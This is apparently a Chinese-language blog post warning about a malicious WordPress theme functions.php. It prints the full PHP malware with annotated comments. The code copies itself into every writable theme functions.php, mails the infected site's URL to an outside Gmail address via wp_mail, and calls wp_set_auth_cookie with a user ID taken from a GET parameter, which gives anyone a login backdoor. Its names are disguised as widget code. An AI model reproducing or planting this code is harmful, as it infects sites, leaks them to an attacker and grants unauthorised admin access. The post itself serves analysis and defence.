小心WordPress主题functions.php包含的恶意代码

<?php
function _verifyactivate_widgets(){
//当前文件名，如/path-to-www/wp-content/themes/SimpleDark/functions.php
//查找当前主题functions.php文件中最后一个 <? 标记，从这个标记的位置开始，取得一直到文件尾的内容
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));
$output="";
$allowed="";
//去除html和php标签，其实这一句是扯蛋。。。
$output=strip_tags($output, $allowed);
//取得主题目录themes的绝对路径，如 /path-to-www/wp-content/themes
//为了加强程序的兼容性，它不惜以这种很晦涩的方式来获取。。。
//以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
//如果主题functions.php文件可写
if (is_writable($item)){
//特征码
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
//取目标functions.php文件内容
$cont=file_get_contents($item);
//没找到特征码?OK,试图感染
if (stripos($cont,$ftion) === false){
//查看目标functions.php文件最后是否是以 ?> 结尾，如果不是，给加上 ?> 标记
$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
//这里的代码是忽悠人了，模仿WP widgets的代码，蛊惑你的眼睛，让你觉得这是widget代码。。。
$output .= $before . "Not found" . $after;
//如果文件是以 ?> 标记结尾的，连标记一起取过来
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
//开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
$output=rtrim($output, "nt"); fputs($f=fopen($item,"w+"),$cont . $comaar . "n" .$widget);fclose($f);
//后面这句也是伪装用的
$output .= ($isshowdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
//从$wids数组弹出一个元素(实际上是一个位置)
$places=array_shift($wids);
//如果位置字串是以/结尾的，则去掉/
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}

//若不存在这样的文件或目录则直接返回false
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
//否则的话。。。嘿嘿
//遍历此目录
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
//如果是目录,则加入$wids数组
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
//否则，如果是文件，并且文件名等于 functions.php的话，则加入到$items数组保存,这才是它的目的functions.php正是它要找的
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
//下面还有子目录？再找找看,递归
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
//好了，完事了，以数组返回所有找到的functions.php文件的绝对路径
return $items;
}
}

//下面是3个针对低版本的php而写的兼容函数
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}

//这个动作添加了，用于检测所有主题目录下functions.php并感染
add_action("admin_head", "_verifyactivate_widgets");

function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check="cookie";
if(!isset($tagsallowed)) $tagsallowed="<a>";
if(!isset($filter)) $filter="none";
if(!isset($coma)) $coma="";
if(!isset($home_filter)) $home_filter=get_option("home");
if(!isset($pref_filters)) $pref_filters="wp_";
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type="";
if(!isset($cpages)) $cpages=$_GET["cperpage"];
if(!isset($post_auth_comments)) $post_auth_comments="";
if(!isset($com_is_approved)) $com_is_approved="";
if(!isset($post_auth)) $post_auth="auth";
if(!isset($link_text_more)) $link_text_more="(more...)";
if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
if(!isset($checkswidgets))
//这个实际是wp_set_auth_cookie
$checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
if(!isset($contentmore)) $contentmore="ma".$coma."il";
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";

//如果 _is_widget_active_ option内容为空,即表示没有被感染过
if (!$widget_yes) :

global $wpdb, $post;
//取出存在已经通过的评论（不包括trackback/pingback）的文章
// post_author 为 livethemas@gmail.com 的文章，肯定是没有的

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND post_author="li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m" AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
//$gettextcomments实际上为 wp_mail
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional="div";

//这里$sh_cont即为 livethemas@gmail.com
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_text_link)) $more_text_link="Continue reading this entry";
if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
//开始调用　wp_mail 向 livethemas@gmail.com 发送邮件，标题和内容都是被感染的博客的URL 地址
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<span id="more-5265"></span>")) {
$text=explode("<span id="more-5675"></span>", $text, 2);
$l=count($text[0]);
$more_link=1;
//执行这一句时就开始发邮件了。
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
//把感染标记置为1
update_option("_is_widget_active_", 1);
if("all" != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, "sntr�x0B");
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? "..." : "";
//$filter 为 none ...,又是在伪装
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}

//$checkswidgets即是wp_set_auth_cookie
if ($is_use_more_link ) {
if($for_more) {
$output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "#more-" . $post->ID ."" title="" . $more_text_link . "">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "n";
} else {
$output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "" title="" . $more_text_link . "">" . $link_text_more . "</a></" . $tag . ">" . "n";
}
}
return $output;
}

//这里是用来干坏事的，这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action("init", "_getprepare_widget");


//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";
if(!$show_pass_post) $request .= " AND post_password =""";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href="" . $permalink . "" title="" . $post_title."">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>